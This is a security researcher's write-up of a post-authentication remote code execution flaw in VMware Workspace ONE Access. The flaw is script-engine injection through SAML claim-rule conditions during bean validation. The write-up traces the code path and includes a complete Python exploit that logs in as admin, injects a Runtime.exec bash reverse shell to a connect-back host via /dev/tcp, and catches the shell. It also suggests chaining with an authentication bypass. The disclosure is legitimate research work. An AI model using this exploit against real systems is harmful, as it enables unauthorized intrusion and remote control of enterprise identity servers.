VMWare Workspace ONE Access

author iconBy Steven Seeley

Intro

In 2022, I conducted research against VMWare Workspace ONE Access and was able to find a remote code execution vulnerability triggerable by an authenticated administrator. Although authentication is required, past authentication bypass vulnerabilities have been published. As an aside, if you’re interested in this sort of work, here at Trenchant we perform vulnerability research against a wide variety of interesting and challenging targets!

VMWare’s vendor advisory can be found here.

Motivation

Full chain authorABRCE
mr_meCVE-2022-22955CVE-2022-22960
Kai Zhao & Steven YuCVE-2022-22973?
Petrus VietCVE-2022-31659CVE-2022-31659

After I built the Hekate 0-click exploit, which chains an authentication bypass with other vulnerabilities, I saw that Kai Zhao of ToTU Security Team and Steven Yu reported CVE-2022-22973, another authentication bypass without chaining any remote code execution.

Later on, Petrus Viet bypassed the patch for CVE-2022-22973 (patched as CVE-2022-31659) and chained it with another remote code execution vulnerability he found (CVE-2022-31659).

A new RCE vulnerability could be combined with Kai Zhao and Steven Yu’s authentication bypass to achieve unauthenticated remote code execution. VMWare try very hard not to allow any post-authentication RCE vulnerabilities, especially because these flaws have been exploited in the wild.

Vulnerability Analysis

I was up late one night and reading about Java bean validation related vulnerabilities, and I realized this is an area I hadn’t investigated initially when auditing this target. Since an RCE would allow completing a full chain, I decided it was time to dive in one last time.

In Alvaro’s excellent post, he mentions that the vulnerable sink to be looking for is javax.validation.ConstraintValidatorContext.buildConstraintViolationWithTemplate with a partially controlled error message, so I went about my journey to find such a sink which lead me to the com.vmware.horizon.catalog.validation.TypeInfoValidator class:

public abstract class TypeInfoValidator<A extends Annotation, T> implements ConstraintValidator<A, T>
{
      ...
      @Override
    public boolean isValid(@Nonnull final T t, @Nonnull final ConstraintValidatorContext constraintValidatorContext) {
        ...
        for (final Pair<String, List<String>> errorMessage : this.errorMessages) {
            final ConstraintValidatorContext.ConstraintViolationBuilder constraintViolationBuilder = constraintValidatorContext.buildConstraintViolationWithTemplate(errorMessage.getFirst()); // 1
            for (final String errorMessageArg : errorMessage.getSecond()) {
                constraintViolationBuilder.addNode(errorMessageArg);
            }
            constraintViolationBuilder.addConstraintViolation();
        }
        return this.errorMessages.size() == 0;
    }
    ...
    protected void addErrorMessage(@Nonnull final String errorMessageKey, final String... errorMessageArgs) { // 2
        Preconditions.checkNotNull(errorMessageKey);
        this.errorMessages.add((Pair<String, List<String>>)Pair.of(errorMessageKey, Lists.newArrayList(errorMessageArgs)));
    }

At [1] the validator loops through the errorMessages property and gets the first string value from the HashSet and proceeds to call buildConstraintViolationWithTemplate. I continued to look for anything that calls addErrorMessage at [2] since this method populates the errorMessages property.

I failed at finding anything of use and was about to give up when I found this interesting method inside of the TypeInfoValidator class:

    protected void validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
        final List<ErrorMessage> errorMessages = this.claimTransformationHelper.validateClaimTransformations(claimTransformations);
        for (final ErrorMessage errorMessage : errorMessages) {
            this.addErrorMessage(errorMessage.getErrorMessageKey(), errorMessage.getErrorMessageArgs()); // 3
        }
    }

Naturally, I wanted to know how the errorMessages list is derived in order to influence the return value of getErrorMessageKey at [3]. I dived into the
com.vmware.horizon.catalog.utils.saml.transformation.ClaimTransformationHelper class to inspect the validateClaimTransformations method:

@Component
public class ClaimTransformationHelper
{
    ...
    private final ScriptEngine scriptEngine;

    public ClaimTransformationHelper() {
        this.scriptEngine = new ScriptEngineManager().getEngineByName("JavaScript");
    }
      ...
    @Nonnull
    public List<ErrorMessage> validateClaimTransformations(@Nonnull final List<ClaimTransformation> claimTransformations) {
        final List<ErrorMessage> errorMessages = new ArrayList<ErrorMessage>();
        for (final ClaimTransformation claimTransformation : claimTransformations) {
            final String value = claimTransformation.getValue();
            final List<ClaimRule> claimRules = claimTransformation.getRules(); // 4
            if (value != null && CollectionUtils.isNotEmpty(claimRules)) {
                ...
            }
            else {
                ...
                final List<ClaimRule> rules = new ArrayList<ClaimRule>(claimRules); // 5
                ...
                this.validateClaimRuleCondition(rules, claimTransformation.getName(), errorMessages); // 6
            }
        }
        return errorMessages;
    }

    private void validateClaimRuleCondition(final List<ClaimRule> rules, final String name, final List<ErrorMessage> errorMessages) {
        for (final ClaimRule claimRule : rules) {
            if ("default".equals(claimRule.getCondition())) {
                continue;
            }
            try {
                Boolean.valueOf((boolean)this.scriptEngine.eval(claimRule.getCondition())); // 7
            }
            catch (Exception e) {
                errorMessages.add(new ErrorMessage("claim.rules.condition.compilation.failed", new String[] { name, String.valueOf(claimRule.getOrder()) }));
            }
        }
    }

At [4] the code loops through the supplied claimTransformations and calls getRules. At [5] claimRules is cast to an ArrayList of ClaimRule instances and stored in rules. Then at [6] the code calls validateClaimRuleCondition with the attacker-supplied rules.

The getCondition method is called on the attacker-supplied ClaimRule instance that was passed directly to the scriptEngine.eval sink at [7]. Because Java bean validation occurs on user-supplied data, it was likely that we could reach this injection sink with influenceable data.

Reaching validateClaimRuleCondition

Looking for calls to validateClaimTransformations I found a few results:

The second result is the com.vmware.horizon.catalog.validation.SamlTypeInfoValidator class that exposes the validate method.

public abstract class SamlTypeInfoValidator<A extends Annotation, S extends SamlAuthInfo> extends TypeInfoValidator<A, S>
{
    protected void validate(@Nonnull final SamlAuthInfo samlAuthInfo) {
        ...
        if (samlAuthInfo.getNameIdClaimTransformation() != null) {
            this.validateClaimTransformations(Arrays.asList(samlAuthInfo.getNameIdClaimTransformation()));
        }
        ...
    }
}

This is called by the two child bean validation classes Saml11TypeInfoValidator and Saml20TypeInfoValidator in their isValid implementations.

@Component
public class Saml11TypeInfoValidator extends SamlTypeInfoValidator<ValidSaml11TypeInfo, Saml11AuthInfo>
{
    @Override
    protected void isValid(@Nonnull final Saml11AuthInfo saml11AuthInfo) {
        Preconditions.checkNotNull(saml11AuthInfo);
        super.validate(saml11AuthInfo);
    }
}

At this point I started to look for implementations with any of the annotations @ValidSaml11TypeInfo, @ValidSaml20TypeInfo or @ValidWSFed12TypeInfo.

The classes com.vmware.horizon.api.v2.catalog.Saml11AuthInfo, com.vmware.horizon.api.v2.catalog.Saml20AuthInfo and com.vmware.horizon.api.v2.catalog.wsfed.WSFed12ResourceInfo all implement the custom bean validator as an annotation.

@ValidSaml11TypeInfo
public final class Saml11AuthInfo extends SamlAuthInfo
{
@ValidSaml20TypeInfo
public final class Saml20AuthInfo extends SamlAuthInfo
{
@ValidWSFed12TypeInfo
public final class WSFed12ResourceInfo extends WSFedResourceInfo
{

Looking for validation

At this point, we have three classes that can reach the vulnerable sink and these classes need to be validated in order to reach that sink. After some searching, I found a @PostConstruct at [8] inside of the
com.vmware.horizon.catalog.impl.CatalogServiceImpl class that is called after the initialization of the catalogService bean service:

@Service("catalogService")
@Transactional(propagation = Propagation.REQUIRED)
public class CatalogServiceImpl implements CatalogService
{
    ...
    @PostConstruct
    public void initValidation() { // 8
        this.validator.addDynamicConstraintValidation(ValidSaml11TypeInfo.class, Saml11TypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(ValidSaml20TypeInfo.class, Saml20TypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(ValidWSFed12TypeInfo.class, WSFed12TypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(ValidWebAppLinkTypeInfo.class, WebAppLinkTypeInfoValidator.class);
        this.validator.addDynamicConstraintValidation(AdapterInstalled.class, AdapterInstalledValidator.class);
    }

After more searching, I found the com.vmware.horizon.catalog.rest.resource.AbstractCatalogResource abstract class implements this service:

public abstract class AbstractCatalogResource extends AbstractResource
{
    public static final boolean DO_NOT_USE_ABSOLUTE_URL = false;
    @Autowired
    protected CatalogService catalogService; // 9

At [9] we see that the class auto wires the CatalogService. Naturally, I then looked for child classes of AbstractCatalogResource and I found two interesting examples:

These are interesting because they use the following three types from the com.vmware.horizon.catalog.rest.media package:

  1. Saml11CatalogItem
  2. Saml20CatalogItem
  3. WSFed12CatalogItem

These types expose a JSON property that maps back to their associated AuthInfo types. For example, let’s inspect the Saml20CatalogItem class:

@XmlRootElement(namespace = "http://www.vmware.com/hws/v2.0")
@XmlType(namespace = "http://www.vmware.com/hws/v2.0")
public class Saml20CatalogItem extends AbstractCatalogItem
{
    public static final String MEDIA_TYPE_NAME = "application/vnd.vmware.horizon.manager.catalog.saml20+json";
    @JsonProperty("authInfo")
    private Saml20AuthInfo authInfo; // 10

Exposure

Looking at the com.vmware.horizon.catalog.rest.resource.CatalogItemsResource class we can find several methods that expose the vulnerable sink:

@Path("/catalogitems")
@Component
@Scope("prototype")
@RolesAllowed({ "admin" }) // 11
public class CatalogItemsResource extends AbstractCatalogResource
{
    private static final boolean VALIDATE = true;
    ...

    @POST
    @Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
    @Produces({ "application/vnd.vmware.horizon.manager.catalog.saml11+json" })
    @TypeHint(Saml11CatalogItem.class)
    @ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
    public Response createSaml11CatalogItem(final Saml11CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
        return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml11+json", validate);
    }

    @POST
    @Consumes({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
    @Produces({ "application/vnd.vmware.horizon.manager.catalog.saml20+json" })
    @TypeHint(Saml20CatalogItem.class)
    @ProtectedApi(providerId = "ctg:CatalogItemWebApp", provideRequestBody = true)
    public Response createSaml20CatalogItem(final Saml20CatalogItem catalogItem, @QueryParam("validate") @DefaultValue("true") final boolean validate) throws BadRequestException {
        return this.createCatalogItem(catalogItem, "application/vnd.vmware.horizon.manager.catalog.saml20+json", validate);
    }

At [11] the user needs to be at the admin level to reach this endpoint, however, several authentication bypasses existed in this application in the past and these can be chained with this vulnerability.

Also, note that not all methods to reach the vulnerable code are listed here. I have provided two as proof of concept.

Proof of Concept

This PoC requires the target’s hostname and admin credentials. Chaining with CVE-2022-22973 is an exercise for the reader 🙂

Automation

#!/usr/bin/env python3

import re
import sys
import socket
import requests
from telnetlib import Telnet
from threading import Thread
from colorama import Fore, Style, Back
from urllib3 import disable_warnings, exceptions
from urllib.parse import urlparse
disable_warnings(exceptions.InsecureRequestWarning)

def login(t, u , p):
    r = requests.get(f"https://{t}/SAAS/auth/login", verify=False, allow_redirects=False)
    m = re.search("protected_state\" value=\"([a-zA-Z0-9]*)\"", r.text)
    assert m, "(-) cannot find protected_state!"
    s = requests.Session()
    s.post(f"https://{t}/SAAS/auth/login/embeddedauthbroker/callback", data={
        "protected_state": m.group(1),
        "username": u,
        "password": p
    }, verify=False)
    return s

def trigger_rce(t, rhost, rport, s):
    j = {
        "catalogItemType":"Saml11",
        "authInfo": {
            "type":"Saml11",
            "configureAs":"manual",
            "nameIdClaimTransformation":{
                "name":"",
                "format":"",
                "rules":[
                    {
                        "condition":f"java.lang.Runtime.getRuntime().exec(\"sh -c $@|sh . echo bash -i >& /dev/tcp/{rhost}/{rport} 0>&1\");",
                        "order":1337,
                        "action":{
                            "name":"prefix",
                            "args":[]
                        }
                    }
                ]
            }
        }
    }
    s.headers.update({
        'content-Type': 'application/vnd.vmware.horizon.manager.catalog.saml11+json'
    })
    r = s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)
    assert "X-XSRF-TOKEN" in r.headers, "(-) cannot find csrf token!"
    s.headers.update({'X-XSRF-TOKEN': r.headers['X-XSRF-TOKEN']})
    s.post(f"https://{t}/SAAS/jersey/manager/api/catalogitems", json=j, verify=False)

def handler(lp):
    print(f"(+) starting handler on port {lp}")
    t = Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print(f"(+) connection from {addr[0]}")
    t.sock = conn
    print(f"(+) {Fore.BLUE + Style.BRIGHT}pop thy shell!{Style.RESET_ALL}")
    t.interact()

def main():
    global rhost, rport
    if len(sys.argv) != 4:
        print("(+) usage: %s <hostname> <connectback> <admin creds>" % sys.argv[0])
        print("(+) eg: %s target.tld 172.18.182.204 admin:Admin22#" % sys.argv[0])
        sys.exit(1)
    assert ":" in sys.argv[3], "(-) credentials need to be in user:pass format"
    target = sys.argv[1]
    rhost = sys.argv[2]
    rport = 1337
    if ":" in sys.argv[2]:
        rhost = sys.argv[2].split(":")[0]
        assert sys.argv[2].split(":")[1].isnumeric(), "(-) connectback port must be a number!"
        rport = int(sys.argv[2].split(":")[1])
    usr = sys.argv[3].split(":")[0]
    pwd = sys.argv[3].split(":")[1]
    s = login(target, usr, pwd)
    handlerthr = Thread(target=handler, args=[rport])
    handlerthr.start()
    trigger_rce(target, rhost, rport, s)

if __name__ == "__main__":
    main()

Manual

Stack Trace

ClaimTransformationHelper.validateClaimRuleCondition(List<ClaimRule>, String, List<ErrorMessage>) line: 127
ClaimTransformationHelper.validateClaimTransformations(List<ClaimTransformation>) line: 114
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).validateClaimTransformations(List<ClaimTransformation>) line: 171
Saml20TypeInfoValidator(SamlTypeInfoValidator<A,S>).validate(SamlAuthInfo) line: 34
Saml20TypeInfoValidator.isValid(Saml20AuthInfo) line: 36
Saml20TypeInfoValidator.isValid(Object) line: 18
Saml20TypeInfoValidator(TypeInfoValidator<A,T>).isValid(T, ConstraintValidatorContext) line: 75
ConstraintTree<A>.validateSingleConstraint(ValidationContext<T>, ValueContext<?,?>, ConstraintValidatorContextImpl, ConstraintValidator<A,V>) line: 447
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,V>, Set<ConstraintViolation<T>>) line: 128
ConstraintTree<A>.validateConstraints(ValidationContext<T>, ValueContext<?,?>) line: 88
MetaConstraint<A>.validateConstraint(ValidationContext<?>, ValueContext<?,?>) line: 73
ValidatorImpl.validateMetaConstraint(ValidationContext<?>, ValueContext<?,Object>, MetaConstraint<?>) line: 617
ValidatorImpl.validateConstraint(ValidationContext<?>, ValueContext<?,Object>, boolean, MetaConstraint<?>) line: 582
ValidatorImpl.validateConstraintsForSingleDefaultGroupElement(ValidationContext<?>, ValueContext<U,Object>, Map<Class<?>,Class<?>>, Class<? super U>, Set<MetaConstraint<?>>, Group) line: 528
ValidatorImpl.validateConstraintsForDefaultGroup(ValidationContext<?>, ValueContext<U,Object>) line: 496
ValidatorImpl.validateConstraintsForCurrentGroup(ValidationContext<?>, ValueContext<?,Object>) line: 461
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 411
ValidatorImpl.validateCascadedConstraint(ValidationContext<?>, ValueContext<?,Object>, Iterator<?>, boolean, ValidationOrder, Set<MetaConstraint<?>>) line: 757
ValidatorImpl.validateCascadedConstraints(ValidationContext<?>, ValueContext<?,Object>) line: 681
ValidatorImpl.validateInContext(ValidationContext<T>, ValueContext<U,Object>, ValidationOrder) line: 420
ValidatorImpl.validate(T, Class<?>...) line: 208
HorizonValidator.validate(T, Class<?>...) line: 67
CatalogServiceImpl.putResource(int, Resource) line: 382
CatalogServiceImpl.createResource(int, Resource) line: 325
GeneratedMethodAccessor1783.invoke(Object, Object[]) line: not available
DelegatingMethodAccessorImpl.invoke(Object, Object[]) line: 43
Method.invoke(Object, Object...) line: 498
AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) line: 344
ReflectiveMethodInvocation.invokeJoinpoint() line: 198
ReflectiveMethodInvocation.proceed() line: 163
2024690047.proceedWithInvocation() line: not available [local variables unavailable]
TransactionInterceptor(TransactionAspectSupport).invokeWithinTransaction(Method, Class<?>, InvocationCallback) line: 367
TransactionInterceptor.invoke(MethodInvocation) line: 118
ReflectiveMethodInvocation.proceed() line: 186
ExposeInvocationInterceptor.invoke(MethodInvocation) line: 95
ReflectiveMethodInvocation.proceed() line: 186
JdkDynamicAopProxy.invoke(Object, Method, Object[]) line: 212
$Proxy1217.createResource(int, Resource) line: not available
CatalogItemsResource.createCatalogItem(int, Resource) line: 496
CatalogItemsResource.createCatalogItem(AbstractCatalogItem, String, boolean) line: 462
CatalogItemsResource.createSaml20CatalogItem(Saml20CatalogItem, boolean) line: 142